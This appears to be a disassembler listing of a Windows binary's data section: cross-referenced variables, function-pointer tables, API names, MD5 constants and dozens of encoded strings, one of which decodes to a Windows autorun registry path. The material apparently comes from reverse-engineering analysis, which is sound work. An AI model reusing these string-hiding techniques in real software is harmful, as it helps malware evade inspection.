word_5510C4 dw 6 ; DATA XREF: sub_43A324+138r
; sub_43A324+306r ...
align 4
dword_5510C8 dd 1 ; sub_43A324+2D9r ...
word_5510CC dw 1 ; DATA XREF: sub_43A324+343r
; sub_43A324+A5Ar ...
align 10h
word_5510D0 dw 6 ; DATA XREF: sub_43B46B+2Fr
; sub_43B5D8+18Fr ...
align 4
dword_5510D4 dd 5 ; sub_43A324+E4Fr ...
dword_5510D8 dd 6 ; sub_43A324+EBDr ...
dword_5510DC dd 4 ; sub_43F090+2BEr ...
dword_5510E0 dd 6 ; sub_43A324+A64r ...
dword_5510E4 dd 5 ; sub_43CBE6+90r ...
dword_5510E8 dd 1 ; sub_43CDF1+226r ...
dword_5510EC dd 1 ; sub_43B5D8+831r ...
dword_5510F0 dd 3 ; sub_43B5D8+6F0r ...
word_5510F4 dw 2 ; DATA XREF: sub_43A324+377r
; sub_43B5D8+EBFr ...
align 4
word_5510F8 dw 5 ; DATA XREF: sub_43A324+5FAr
; sub_43A324+6C0r ...
align 4
word_5510FC dw 2 ; DATA XREF: sub_43A324+692r
; sub_43A324+6FDr ...
align 10h
dword_551100 dd 9 ; sub_43D3AD+B0r ...
word_551104 dw 0 ; DATA XREF: sub_43A324+756r
; sub_43B5D8+8CFr ...
align 4
dword_551108 dd 8 ; sub_43CDF1+11Fr ...
dword_55110C dd 2 ; sub_43A324+B03r ...
dword_551110 dd 9 ; sub_43B5D8+126Cr ...
dword_551114 dd 1 ; sub_43D0C6:loc_43D120r ...
word_551118 dw 8 ; DATA XREF: sub_43A324+B7Br
; sub_43CBE6+1CEr ...
align 4
dword_55111C dd 2 ; sub_43A324+C76r ...
dword_551120 dd 8 ; sub_43A324+A49r ...
dword_551124 dd 2 ; sub_43A324+EA3r ...
word_551128 dw 5 ; DATA XREF: sub_43A324+1C8r
; sub_43A324+2ABr ...
align 4
dword_55112C dd 8 ; sub_43B5D8+4EDr ...
dword_551130 dd 1 ; sub_43A324+F17r ...
dword_551134 dd 2 ; sub_43B5D8+4BFr ...
word_551138 dw 3 ; DATA XREF: sub_43A324:loc_43A70Fr
; sub_43A324+664r ...
align 4
word_55113C dw 9 ; DATA XREF: sub_43A324+18Cr
; sub_43A324+54Dr ...
align 10h
dword_551140 dd 1 ; sub_43A324+3BFr ...
word_551144 dw 4 ; DATA XREF: sub_43A324+10Ar
; sub_43A324+24Er ...
align 4
word_551148 dw 1 ; DATA XREF: sub_43A324+687r
; sub_43A324+710r ...
align 4
dword_55114C dd 2 ; sub_43B5D8+81Er ...
dword_551150 dd 4 ; sub_43B5D8+1155r ...
dword_551154 dd 8 ; sub_43A324+327r ...
dword_551158 dd 3 ; sub_43A324+B0Dr ...
dword_55115C dd 4 ; sub_43DE84+ECr ...
dword_551160 dd 7 ; sub_43A324+B8Er ...
word_551164 dw 1 ; DATA XREF: sub_43A324+A3Br
; sub_43B5D8:loc_43C174r ...
align 4
dword_551168 dd 2 ; sub_43A324+E39r ...
dword_55116C dd 5 ; sub_43B5D8+28Br ...
dword_551170 dd 4 ; sub_43A324:loc_43A625r ...
dword_551174 dd 7 ; sub_43A324+7DAr ...
dword_551178 dd 9 ; sub_43D0C6:loc_43D0DDr ...
dword_55117C dd 7 ; sub_43A324+C71r ...
dword_551180 dd 0 ; sub_43A324+C2Fr ...
dword_551184 dd 4 ; sub_43B5D8+5C2r ...
dword_551188 dd 5 ; sub_43B5D8+163r ...
dword_55118C dd 1 ; sub_43B5D8+925r ...
word_551190 dw 8 ; DATA XREF: sub_43A324+F64r
; sub_43B5D8+590r ...
align 4
word_551194 dw 1 ; DATA XREF: sub_43A324+519r
; sub_43A324+BE1r ...
align 4
word_551198 dw 1 ; DATA XREF: sub_43A324+1F9r
; sub_43A324:loc_43A671r ...
align 4
dword_55119C dd 4 ; sub_43A324+7C5r ...
dword_5511A0 dd 8 ; sub_43B5D8+11EDr ...
word_5511A4 dw 6 ; DATA XREF: sub_43A324:loc_43A701r
; sub_43A324+9A7r ...
align 4
word_5511A8 dw 0 ; DATA XREF: sub_43A324+D15r
; sub_43B5D8+56r ...
align 4
dword_5511AC dd 2 ; sub_43A324+233r ...
dword_5511B0 dd 7 ; sub_43B5D8+E54r ...
dword_5511B4 dd 4 ; sub_43B556:loc_43B5C2r ...
dword_5511B8 dd 4 ; sub_43D76D+14Br ...
dword_5511BC dd 6 ; sub_43A324+AF8r ...
dword_5511C0 dd 1 ; sub_43A324+B75r ...
word_5511C4 dw 8 ; DATA XREF: sub_43A324+432r
; sub_43A324+9F2r ...
align 4
dword_5511C8 dd 8 ; sub_43CAF7+C1r ...
word_5511CC dw 9 ; DATA XREF: sub_43A324+717r
; sub_43A324+AF1r ...
align 10h
dword_5511D0 dd 7 ; sub_43D0C6+73r ...
dword_5511D4 dd 8 ; sub_43A324+997r ...
dword_5511D8 dd 4 ; sub_43B5D8+11DDr ...
dword_5511DC dd 0 ; sub_43A324+E49r ...
dword_5511E0 dd 4 ; sub_43A324+59Er ...
dword_5511E4 dd 4 ; sub_43A324+899r ...
word_5511E8 dw 7 ; DATA XREF: sub_43A324+AC1r
; sub_43B5D8+F69r ...
align 4
dword_5511EC dd 3 ; sub_43B5D8+12DDr ...
word_5511F0 dw 6 ; DATA XREF: sub_43A324+520r
; sub_43CBE6+D4r ...
align 4
dword_5511F4 dd 9 ; sub_43B5D8+296r ...
dword_5511F8 dd 3 ; sub_43B5D8+93Ar ...
dword_5511FC dd 0 ; sub_43A324+2C6r ...
dword_551200 dd 5 ; sub_43A324+BC1r ...
dword_551204 dd 2 ; sub_43A324+7BBr ...
word_551208 dw 1 ; DATA XREF: sub_43A324+F4r
; sub_43A324+CD4r ...
align 4
dword_55120C dd 4 ; sub_43A324+8E8r ...
word_551210 dw 5 ; DATA XREF: sub_43A324+238r
; sub_43A324+440r ...
align 4
dword_551214 dd 3 ; sub_43A324+886r ...
word_551218 dw 0 ; DATA XREF: sub_43A324+193r
; sub_43E284+F3r ...
align 4
dword_55121C dd 4 ; sub_43E114+C0r ...
dword_551220 dd 2 ; sub_43A324+630r ...
dword_551224 dd 1 ; sub_43D535+8Ar ...
dword_551228 dd 8 ; sub_43A324+7A9r ...
dword_55122C dd 7 ; sub_43A324+BCAr ...
dword_551230 dd 1 ; sub_43A324+F47r ...
dword_551234 dd 8 ; sub_43A324+8BAr ...
dword_551238 dd 0 ; sub_43A324+3AAr ...
dword_55123C dd 0 ; sub_43B5D8+11C6r ...
word_551240 dw 8 ; DATA XREF: sub_43A324+ABAr
; sub_43B5D8+1032r ...
align 4
word_551244 dw 7 ; DATA XREF: sub_43B5D8+B63r
; sub_43B5D8+12B9r ...
align 4
dword_551248 dd 4 ; sub_43B5D8+51r ...
dword_55124C dd 9 ; sub_43A324+D4Dr ...
dword_551250 dd 0 ; sub_43CAF7+1Ew ...
dword_551254 dd 0 ; sub_43D76D+26Ar ...
dword_551258 dd 0 ; sub_43E397+20r ...
dword_55125C dd 0 ; sub_4428C5+22r ...
dword_551260 dd 0 ; sub_443272+20r ...
dword_551264 dd 0 ; sub_4427D3+26r ...
dword_551268 dd 0 ; sub_446E05+22r ...
dword_55126C dd 0 ; sub_441B17+13w ...
dword_551270 dd 0 ; sub_445E1B+13w ...
dword_551274 dd 0 ; sub_43D309+29r ...
dword_551278 dd 0 ; sub_445885+26r ...
dword_55127C dd 0 ; sub_43DD23+29r ...
dword_551280 dd 0 ; sub_43EBF8+20r ...
dword_551284 dd 0 ; sub_44322A+37w ...
dword_551288 dd 0 ; sub_43FA48+24r ...
dword_55128C dd 0 ; sub_440CD2+11Fw ...
dword_551290 dd 0E860h, 0E9610000h, 2 dup(0)dword_5512A0 dd 0 ; sub_43F090+350w ...
dword_5512A4 dd 0 ; sub_4424CE:loc_4424FFr ...
off_5512A8 dd offset sub_43FA81 ; DATA XREF: sub_443F06+689o
dd offset sub_441803
dd offset sub_441A78
dd offset sub_43E79B
dd offset sub_44587D
dd offset sub_443E26
dd offset sub_43EE88
dword_5512C4 dd 0 ; sub_442B82+160r ...
off_5512C8 dd offset sub_43B556 ; DATA XREF: .data:off_5512E4o
dd offset sub_43B53F
dd offset sub_43D4E1
dd offset sub_43D713
dd offset sub_447513
dd offset sub_4432D0
dd offset sub_43B4E9
off_5512E4 dd offset off_5512C8 ; DATA XREF: sub_43E652+C0o
; sub_443B74+144o
dword_5512E8 dd 0 ; sub_43E652+72r ...
off_5512EC dd offset sub_445D93 ; DATA XREF: .data:off_551308o
dd offset sub_4457CA
dd offset sub_43D508
dd offset sub_44378D
dd offset sub_43B537
dd offset sub_43E27C
dd offset sub_43E652
off_551308 dd offset off_5512EC ; DATA XREF: sub_443B74:loc_443D34o
aLeavecriticals db 'LeaveCriticalSection',0 ; DATA XREF: sub_43FFC1+2C9o
aCreatethread db 'CreateThread',0 ; DATA XREF: sub_43FFC1+2DCo
aEntercriticals db 'EnterCriticalSection',0 ; DATA XREF: sub_43FFC1+300o
aInitializecrit db 'InitializeCriticalSection',0 ; DATA XREF: sub_43FFC1+313o
align 10h
dword_551360 dd 0D76AA478h, 0E8C7B756h, 242070DBh, 0C1BDCEEEh, 0F57C0FAFh
; DATA XREF: sub_441052+2Fo
dd 4787C62Ah, 0A8304613h, 0FD469501h, 698098D8h, 8B44F7AFh
dd 0FFFF5BB1h, 895CD7BEh, 6B901122h, 0FD987193h, 0A679438Eh
dd 49B40821h
dword_5513A0 dd 0F61E2562h, 0C040B340h, 265E5A51h, 0E9B6C7AAh, 0D62F105Dh
; DATA XREF: sub_441052+3Fo
dd 2441453h, 0D8A1E681h, 0E7D3FBC8h, 21E1CDE6h, 0C33707D6h
dd 0F4D50D87h, 455A14EDh, 0A9E3E905h, 0FCEFA3F8h, 676F02D9h
dd 8D2A4C8Ah
dword_5513E0 dd 0FFFA3942h, 8771F681h, 6D9D6122h, 0FDE5380Ch, 0A4BEEA44h
; DATA XREF: sub_441052+52o
dd 4BDECFA9h, 0F6BB4B60h, 0BEBFBC70h, 289B7EC6h, 0EAA127FAh
dd 0D4EF3085h, 4881D05h, 0D9D4D039h, 0E6DB99E5h, 1FA27CF8h
dd 0C4AC5665h
dword_551420 dd 0F4292244h, 432AFF97h, 0AB9423A7h, 0FC93A039h, 655B59C3h
; DATA XREF: sub_441052+65o
dd 8F0CCC92h, 0FFEFF47Dh, 85845DD1h, 6FA87E4Fh, 0FE2CE6E0h
dd 0A3014314h, 4E0811A1h, 0F7537E82h, 0BD3AF235h, 2AD7D2BBh
dd 0EB86D391h
off_551460 dd offset loc_446C3A ; DATA XREF: sub_446AA8+18Br
dd offset loc_446C45
dd offset loc_446C9B
dd offset loc_446CF7
dword_551470 dd 4, 6A0028h, 6C0067h, 71hdword_551480 dd 0B1DA0006h, 0ACF7ABB1h db 0A2h, 0
word_55148A dw 6 ; DATA XREF: sub_446ED7+1F0o
dd 0A2B8B8D3h, 0ABA5FEh
dword_551494 dd 0A5CE0006h, 0B8E3BFA5h db 0B6h, 0
word_55149E dw 8 ; DATA XREF: sub_446ED7+107o
dd 2B075174h, 510C0019h
db 1, 0
word_5514AA dw 6 ; DATA XREF: sub_446ED7+C5o
dd 68727219h, 616F34h
dword_5514B4 dd 3E1B0007h, 6F764468h db 63h, 2Ah, 0
byte_5514BF db 0Ch ; DATA XREF: sub_446E05+B1o
dd 80ADE900h, 8CAE999Ah, 9B88B99Dh
db 88h, 84h, 0
byte_5514CF db 0Bh ; DATA XREF: sub_446E05+95o
dd 0A691C700h, 0A9A6AEB5h, 0AEA98EB3h
db 0B3h, 0
word_5514DE dw 0Ch ; DATA XREF: sub_446E05+79o
aLsglduijpls db '꼋˜ƒ‹„©†‹˜',0
word_5514EE dw 0Eh ; DATA XREF: sub_446E05+5Do
dd 0E3E9C390h, 0FFFCFCD1h, 0E2E4C3F3h, 0F7FEF9h
dword_551500 dd 0D685000Dh, 0F7C3F6FCh, 0F1D6E0E0h, 0E2EBECF7h
; DATA XREF: sub_446E05:loc_446E46o
db 0
byte_551511 db 0Ch, 0, 3Ah ; DATA XREF: sub_446E05+2Ao
dd 5B5F5655h, 8094E4Fh, 56565E14h
db 0
byte_551521 db 0Ch, 0, 24h ; DATA XREF: sub_446E05+1o
dd 4541484Bh, 16175051h, 4848400Ah
db 0
byte_551531 db 4, 0, 42h ; DATA XREF: sub_446250+4BAo
aL6 db 'l',0
asc_551539 db 0Bh,0 ; DATA XREF: sub_446250+43Co
aTISiRkvv db 'Î’¾ë»‘ë»àª¢¢',0
dword_551548 dd 0F1A70001h db 0
byte_55154D db 1, 0, 86h ; DATA XREF: sub_4460DD+21o
db 0D3h, 0
word_551552 dw 17h ; DATA XREF: sub_445E8D:loc_446094o
aSSSSSsSSSST db '¼™ß™ß™ß™ß‘™ß™ß™ß™ß™ß’ßÓÑ',0
byte_55156D db 16h, 0, 8Dh ; DATA XREF: sub_445E8D+1C1o
dd 2 dup(0EEA8EEA8h), 0A8A0EEA8h, 0A8EEA8EEh, 0A3EEA8EEh
db 0FFh, 0F8h, 0
byte_551587 db 0Ah ; DATA XREF: sub_445E1B+27o
dd 5B4E3D00h, 4E52625Eh, 51515913h
db 0
byte_551595 db 0Ah, 0, 86h ; DATA XREF: sub_445E1B+1o
dd 0D9E5E0F5h, 0E2A8F5E9h
db 2 dup(0EAh), 0
byte_5515A3 db 4 ; DATA XREF: sub_445B7F:loc_445BB3o
dd 0E6A08500h
db 0BFh, 0D9h, 0
byte_5515AB db 10h ; DATA XREF: sub_445885+16Bo
dd 0D7E0B200h, 0D7C7E3D5h, 0D3E4CBC0h, 0F7D7C7DEh
db 0CAh, 0F3h, 0
byte_5515BF db 10h ; DATA XREF: sub_445885+156o
dd 86B9F600h, 84A69893h, 85939599h, 9D99A285h
db 93h, 98h, 0
byte_5515D3 db 13h ; DATA XREF: sub_445885+141o
dd 94B6F100h, 9A9EA585h, 9FB89F94h, 9C839E97h, 9E988590h
db 9Fh, 0
off_5515EA dd offset dword_49001C ; DATA XREF: sub_445885+12Co
dw 2027h
dd 2528203Dh, 1A2C3320h, 3B3C2A2Ch, 0D303D20h, 3B2A3A2Ch
dd 263D3920h
db 3Bh, 0
word_55160A dw 0Ch ; DATA XREF: sub_445885+117o
dd 17062463h, 11061036h, 60E022Dh
db 22h, 0
word_55161A dw 0Dh ; DATA XREF: sub_445885+102o
dd 21231446h, 28233609h, 33F230Dh
db 3Eh, 7, 0
byte_55162B db 1Ah ; DATA XREF: sub_445885+EDo
dd 0C3F5A600h, 0C5C3F5D2h, 0D2CFD4D3h, 0D5C3E2DFh, 0D6CFD4C5h
dd 0E9D4C9D2h, 0D4C3C8D1h
db 0
byte_551649 db 12h, 0, 0C4h ; DATA XREF: sub_445885+D8o
aGbCnacJeMlN db 'ƒ¡°— —±¦…±°¬«¶°½',0
byte_55165F db 10h ; DATA XREF: sub_445885+C3o
dd 0A395C600h, 0AAAF80B2h, 0A5A395A3h, 0B2AFB4B3h
db 0BFh, 87h, 0
byte_551673 db 15h ; DATA XREF: sub_445885+AEo
dd 0C2E1AD00h, 0DDD8C6C2h, 0DBC4DFFDh, 0CAC8C1C4h, 0C1CCFBC8h
dd 0ECC8D8h
dword_55168C dd 0F5B20017h, 0DBE1C6D7h, 0D0C7E1D6h, 0DAC6C7F3h, 0C6DBC0DDh
; DATA XREF: sub_445885+99o
dd 0C7DDF1CBh
db 0DCh, 0C6h, 0
byte_5516A7 db 15h ; DATA XREF: sub_445885+84o
db 0
db 5, 44h, 61h
aOpvqqjnKuwlsli db 'opvqQjn`kUwlsli`b`v',0
asc_5516C0 db 0Bh,0 ; DATA XREF: sub_445885+6Fo
aZmokdgMcmq db '(zMOkDG[McMQ',0
byte_5516CF db 19h ; DATA XREF: sub_445885+5Ao
dd 0B391D600h, 0B2BF85A2h, 0B8B3B29Fh, 0BFB0BFA2h, 0A397A4B3h
dd 0A4B9BEA2h, 0AFA2BFh
dword_5516EC dd 14470019h, 22143322h, 2E353224h, 22033E33h, 2E352434h
; DATA XREF: sub_445885:loc_4458CAo
dd 35283337h, 2B242603h
db 0
byte_551709 db 0Ch, 0, 0CDh ; DATA XREF: sub_445885+2Eo
dd 0ACBBA9ACh, 0FFFEA4BDh, 0A1A1A9E3h
db 0
byte_551719 db 0Ch, 0, 0EEh ; DATA XREF: sub_445885+1o
aPkspuzKvv db 'Š˜‡İÜÀŠ‚‚',0
byte_551729 db 1, 0, 14h ; DATA XREF: sub_44496E+DB6o
db 68h, 0
word_55172E dw 2 ; DATA XREF: sub_44496E+D8Ao
dd 0ADF1D1h
dword_551734 dd 0C6FC0001h db 0
byte_551739 db 4, 0, 1Bh ; DATA XREF: sub_44496E:loc_445621o
aN db ';>n!',0
byte_551741 db 1, 0, 9 ; DATA XREF: sub_44496E+746o
db 75h, 0
word_551746 dw 0Ah ; DATA XREF: sub_44496E+4FCo
dd 770D1131h, 0B7C637Eh, 0F4414h
dword_551754 dd 0D4F4000Bh, 0B5A6B2C8h, 0D1CEB1B9h db 81h, 0CAh, 0
byte_551763 db 0Ah ; DATA XREF: sub_44496E+303o
dd 0BBA78700h, 0CAC6D5C1h, 0B9CABDC2h, 0
dword_551774 dd 5, 7C000Ah, 66006Bh, 6F007Fh, 0dword_551788 dd 4, 52003Ch, 51005Dh, 59hdword_551798 dd 0E2E0002h db 0Eh, 0
word_55179E dw 1 ; DATA XREF: sub_4447CD:loc_4448C9o
db 0BBh, 94h, 0
byte_5517A3 db 12h ; DATA XREF: sub_4447CD:loc_444818o
dd 0DEC0AD00h, 0DEC1D9CEh, 0CCD9DEF2h, 0CFDED8D9h, 9F9EDFCCh
db 0
byte_5517B9 db 0Eh, 0, 0FEh ; DATA XREF: sub_4447CD+10o
aKqIcrSiTqnn db 'ªŸœ©—𑉽’Ÿ',0
byte_5517CB db 3 ; DATA XREF: sub_443F06+32Eo
dd 71251E00h
db 23h, 0
word_5517D2 dw 4 ; DATA XREF: sub_443F06:loc_4441A9o
dd 716D251Eh
db 23h, 0
word_5517DA dw 4 ; DATA XREF: sub_443F06:loc_444170o
dd 0C198C7FCh
db 0D6h, 0
word_5517E2 dw 4 ; DATA XREF: sub_443F06+224o
dd 0CF96C9F2h, 0D3h
dword_5517EC dd 3, 590010h, 57005Dh db 2 dup(0)
word_5517FA dw 1 ; DATA XREF: sub_443DB2+46o
db 96h, 0CAh, 0
byte_5517FF db 0Fh ; DATA XREF: sub_443843+13Eo
dd 7B2D0800h, 646E6C54h, 3B727D2Dh, 646C263Ah
db 64h, 0
word_551812 dw 10h ; DATA XREF: sub_443843+10Do
dd 98B7E1C4h, 0E1B6B7B3h, 0F7B0BEB1h, 0A8A0EAF6h
db 0A8h, 0
word_551826 dw 0Bh ; DATA XREF: sub_443843+A2o
dd 8EA1F7D2h, 0A7F7A1F7h, 0A1BEBCFCh
db 0
byte_551835 db 0Fh, 0, 0B6h ; DATA XREF: sub_443843+74o
aUUEds db '“ÅêİĞ“ÃÚÌ…„˜ÒÚÚ',0
dword_551848 dd 8BAE0004h, 0F69C80hdword_551850 dd 0CDE80001h db 0
byte_551855 db 2, 0, 0FAh ; DATA XREF: sub_443795:loc_4437DCo
db 0DFh, 99h, 0
byte_55185B db 9 ; DATA XREF: sub_4432D8+1E7o
dd 0CCEEBE00h, 0DDCBDAD1h, 0DAF7CAh
unk_551868 db 2Ch ; , ; DATA XREF: sub_4432D8+1D7o
align 2
dw 5506h
aI@rqgtczkoetiu db 'I@RQGTCZKoetiui`rZQohbiqu&HRZEsttchrPctuoih',0
asc_551898 db 9,0 ; DATA XREF: sub_4432D8+179o
dw 2F7Fh
dd 0A1B100Dh, 1B360B1Ch
db 0
byte_5518A5 db 29h, 0, 1 ; DATA XREF: sub_4432D8+169o
aRnguv@sdLhbsnr db 'RNGUV@SD]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno',0
word_5518D2 dw 1 ; DATA XREF: sub_4432D8+14Do
db 0A4h, 8Ah, 0
byte_5518D7 db 4 ; DATA XREF: sub_4432D8+EAo
dd 0E4ECC100h
db 99h, 0EFh, 0
byte_5518DF db 3 ; DATA XREF: sub_4432D8+9Do
dd 6B325100h
db 0Dh, 0
word_5518E6 dw 8 ; DATA XREF: sub_4432D8:loc_44333Do
dd 45F0F2Ah, 0F045F0Fh
db 5Fh, 0
word_5518F2 dw 2 ; DATA XREF: sub_4432D8+50o
dd 0E7FDB3h
dword_5518F8 dd 0CAF30002h db 0ABh, 0
word_5518FE dw 0Bh ; DATA XREF: sub_443272:loc_4432B1o
aKzmiMngfI db '(kZMI\MnGF\i',0
asc_55190D db 9,0 ; DATA XREF: sub_443272+28o
aVgq db '±ÖÕØ‚ƒŸÕİİ',0
asc_55191A db 9,0 ; DATA XREF: sub_443272+1o
aS47A7?? db 'S47:`a}7??',0
asc_551927 db 0Dh,0 ; DATA XREF: sub_442FB0:loc_44318Fo
db 12h, 61h, 6Bh
dd 7F776661h, 747D6062h, 777E7Bh
dword_551938 dd 187D0006h, 1E140B0Fh db 18h, 0
word_551942 dw 1 ; DATA XREF: sub_442FB0+105o
db 0Eh, 2Ah, 0
byte_551947 db 6 ; DATA XREF: sub_442FB0:loc_443055o
dd 414B1800h, 555D4C4Bh
db 0
byte_551951 db 8, 0, 0Fh ; DATA XREF: sub_442FB0:loc_44300Fo
aJYflj db '/\J]YFLJ',0
a@ db '@',0 ; DATA XREF: sub_442E73:loc_442EABo
db 18h
db 59h ; Y
db 5Ah, 5Bh, 5Ch
db 5Dh ; ]
db 5Eh, 5Fh, 50h
db 51h ; Q
db 52h, 53h, 54h
db 55h ; U
db 56h, 57h, 48h
db 49h ; I
db 4Ah, 4Bh, 4Ch
db 4Dh ; M
db 4Eh, 4Fh, 40h
db 41h ; A
db 42h, 79h, 7Ah
db 7Bh ; {
db 7Ch, 7Dh, 7Eh
db 7Fh ;
aPqrstuvwhijklm db 'pqrstuvwhijklmno`ab()*+,-./ !37',0
align 4
asc_5519A4: ; DATA XREF: sub_442B82+28Fo
dw 9
unicode 0, <>,0
aI db '¨',0
db 'Ê',0
db 'Í',0
db 'Î',0
db 'Ç',0
db 'Ú',0
db 'Í',0
aA db 'í',0
db 'Æ',0
db 'Ì',0
db 2 dup(0)
word_5519BE dw 20h ; DATA XREF: sub_442B82+1F9o
dd 70237550h, 6D332223h, 20242438h, 757F7F6Ah, 6D386F23h
dd 26762375h, 7625756Dh, 23756D20h
db 6Eh, 0
word_5519E2 dw 43h ; DATA XREF: sub_442B82+16Eo
dd 21722401h, 3C627372h, 71757569h, 242E2E3Bh, 3C693E72h
dd 68277224h, 2474243Ch, 3C6E2772h, 67277424h, 2762243Ch
dd 243C6872h, 6E722772h, 2774243Ch, 243C6D75h, 3C772774h
dd 65277424h, 3F72243Ch
db 0
byte_551A29 db 10h, 0, 0BDh ; DATA XREF: sub_442B82+F0o
aSAAsTvAsG db '˜ÎÎÏŞ€˜Î’‚Û€˜Şƒ',0
byte_551A3D db 1Eh, 0, 49h ; DATA XREF: sub_442B82+91o
aU_iTyi_TyiTy db 'u $.i> -=!tyi!, .!=tyi+&;-,;ty',0
asc_551A5F db 7,0 ; DATA XREF: sub_442B82+60o
db 0C7h, 0FBh, 0A5h
dd 0A5E8FBF9h
db 0F9h, 0
word_551A6A dw 0Bh ; DATA XREF: sub_4428C5+224o
dd 1D0B236Eh, 0B090F1Dh, 2F16012Ch
db 0
byte_551A79 db 0Dh, 0, 74h ; DATA XREF: sub_4428C5+20Fo
dd 71130h, 230D1B06h, 1B101A1Dh
db 3, 0
word_551A8A dw 0Eh ; DATA XREF: sub_4428C5+1FAo
aAZdDzLzt db 'Ó€¶§„º½·¼¤‡¶«§’',0
dword_551A9C dd 0B4E0012h, 0A233B20h, 3A253D2Bh, 27193E21h, 39212A20h
; DATA XREF: sub_4428C5+1E5o
asc_551AB0: ; DATA XREF: sub_4428C5+1D0o
unicode 0, <=>
dw 0Ah
dw 0ACE1h
aOcdIpeoc db '—„¶ˆ…–',0
dword_551AC0 dd 54100010h, 71606379h, 5D787364h, 71636375h, 517577h
; DATA XREF: sub_4428C5+1BBo
dword_551AD4 dd 81C6000Bh, 0A38BB2A3h, 0A1A7B5B5h db 0A3h, 87h, 0
byte_551AE3 db 9 ; DATA XREF: sub_4428C5+191o
dd 77551200h, 7C7B4566h, 657D76h
dword_551AF0 dd 0B0F7000Dh, 9EA08392h, 80989399h, 839492A5h db 0
byte_551B01 db 0Fh, 0, 0E6h ; DATA XREF: sub_4428C5+167o
aEzkkPivisFiez db '¥‡ŠŠ±ˆ‚‰‘¶”‰…§',0
dword_551B14 dd 88CF000Eh, 0A698BBAAh, 0B8A0ABA1h, 0BBB7AA9Bh
; DATA XREF: sub_4428C5+152o
db 8Eh, 0
word_551B26 dw 0Dh ; DATA XREF: sub_4428C5+13Do
dd 0F1E3C7Bh, 81A1738h, 161A3508h
db 1Eh, 3Ah, 0
byte_551B37 db 0Eh ; DATA XREF: sub_4428C5+128o
dd 4C7A2900h, 47407E5Dh, 655E464Dh, 684E4746h
db 0
byte_551B49 db 0Ch, 0, 0EAh ; DATA XREF: sub_4428C5+113o
aPdozpsslnpl db '¹„§™™‹«',0
byte_551B59 db 10h, 0, 0D3h ; DATA XREF: sub_4428C5+FEo
aZbAZUAa db '‡¡²½ ¿²§¶¶ ²´¶',0
asc_551B6D db 8,0 ; DATA XREF: sub_4428C5+E9o
aXAsMiac db 'å¶€‘±Œˆ€—',0
asc_551B79 db 8,0 ; DATA XREF: sub_4428C5+D4o
aMJxqKm db '>m[JxQ]KM',0
byte_551B85 db 0Eh, 0, 0F8h ; DATA XREF: sub_4428C5+BFo
aKaqslmakFsll db 'ªŸ‘‹ŒŠ»”™‹‹¹',0
asc_551B97 db 0Ah,0 ; DATA XREF: sub_4428C5+AAo
db 80h, 0D3h, 0E8h
dd 0E9D7F7EFh, 0F7EFE4EEh
db 0
byte_551BA5 db 0Dh, 0, 15h ; DATA XREF: sub_4428C5+95o
aSQbQzbpmt db 'S|{qB|{qzbPmT',0
word_551BB6 dw 0Fh ; DATA XREF: sub_4428C5+80o
dd 35221350h, 7352431h, 3F343E39h, 11281527h
db 0
byte_551BC9 db 13h, 0, 45h ; DATA XREF: sub_4428C5+6Bo
dd 3312002h, 2220372Ah, 2B302A37h, 2B2C1221h, 322A21h
dword_551BE0 dd 0B7F0000Eh, 99A78495h, 879F949Eh, 979E9FBCh db 0B1h, 0
word_551BF2 dw 0Eh ; DATA XREF: sub_4428C5:loc_442906o
dd 9596B7F3h, 979D9AA4h, 81A3849Ch, 0B2909Ch
dword_551C04 dd 90E5000Ah, 0D6978096h, 8981CBD7h db 89h, 0
word_551C12 dw 0Ah ; DATA XREF: sub_4428C5+1o
dd 0BFA9AFDAh, 0F4E8E9A8h, 0B6B6BEh
dword_551C20 dd 0CA89000Dh, 0FAE8DDE6h, 0E4ECC4E2h, 0ECECFBCFh
; DATA XREF: sub_4427D3+D1o
db 0
byte_551C31 db 0Bh, 0, 0C0h ; DATA XREF: sub_4427D3+B5o
aIEBmzxid db '‰³…±µ¡¬‡•‰„',0
dword_551C40 dd 2410010h, 2433022Eh, 8243520h, 2035322Fh, 24222Fh
; DATA XREF: sub_4427D3+99o
dword_551C54 dd 0DA99000Fh, 0DDD0CAD5h, 0F4F6EBDFh, 0F0EBEDCAh
; DATA XREF: sub_4427D3+7Do
db 0F7h, 0FEh, 0
byte_551C67 db 0Ch ; DATA XREF: sub_4427D3+61o
dd 19357600h, 21F183Fh, 1F1A171Fh
db 0Ch, 13h, 0
byte_551C77 db 0Eh ; DATA XREF: sub_4427D3:loc_442818o
dd 3D115200h, 3C3B3C07h, 333B263Bh, 37283B3Eh
db 0
byte_551C89 db 9, 0, 7Bh ; DATA XREF: sub_4427D3+2Eo
dd 481E1714h, 171F5549h
db 17h, 0
word_551C96 dw 9 ; DATA XREF: sub_4427D3+1o
dd 999093FCh, 98D2CECFh
db 2 dup(90h), 0
byte_551CA3 db 0 ; DATA XREF: sub_44250C:loc_442768o
db 0, 5Eh, 0
byte_551CA7 db 1 ; DATA XREF: sub_44250C:loc_4426F7o
dd 0D6AE00h
dword_551CAC dd 124E0001h db 0
byte_551CB1 db 1, 0, 54h ; DATA XREF: sub_441D1A:loc_442267o
db 74h, 0
word_551CB6 dw 0 ; DATA XREF: sub_441D1A+504o
db 0F1h, 0
word_551CBA dw 13h ; DATA XREF: sub_441D1A+4D2o
aTMgaozCnGccknr db 'â·Œƒ€‡Â–ƒ—–Š‹˜‡',0
a5 db '5',0 ; DATA XREF: sub_441D1A+4C2o
db 0DAh
dd 0B8BBB48Fh, 0AEFABFB6h, 0AFBBFAB5h, 0A8B5B2AEh, 0FABFA0B3h
dd 9493FAF7h, 88889599h, 0FA8E999Fh, 0F494938Ah, 0BFB68AFAh
dd 0F6BFA9BBh, 0A8B5B9FAh, 0AEB9BFA8h
db 0F4h, 0
word_551D0A dw 1 ; DATA XREF: sub_441D1A:loc_442028o
db 0CAh, 0E7h, 0
byte_551D0F db 1Eh ; DATA XREF: sub_441D1A+2B4o
dd 1E227200h, 17011317h, 1701525Eh, 611171Eh, 20A3752h
dd 613001Bh, 521C1D1Bh, 13172Bh
db 0
byte_551D31 db 1, 0, 3Dh ; DATA XREF: sub_441D1A:loc_441F59o
db 1Dh, 0
word_551D36 dw 1Fh ; DATA XREF: sub_441D1A+1E3o
aUpjvJquJpjaUjK db 'Ó¯¦¢°¦ïã°¦¯¦ ·ã†»³ª±¢·ª¬ã¬·«',0
byte_551D59 db 12h, 0, 0D0h ; DATA XREF: sub_441B17+5Ao
aGSgcAvDD db 'ƒ¶³™£–¹¼µ€¢¿¤µ³¤µ´',0
asc_551D6F db 7,0 ; DATA XREF: sub_441B17+31o
db 3Dh, 4Eh, 5Bh
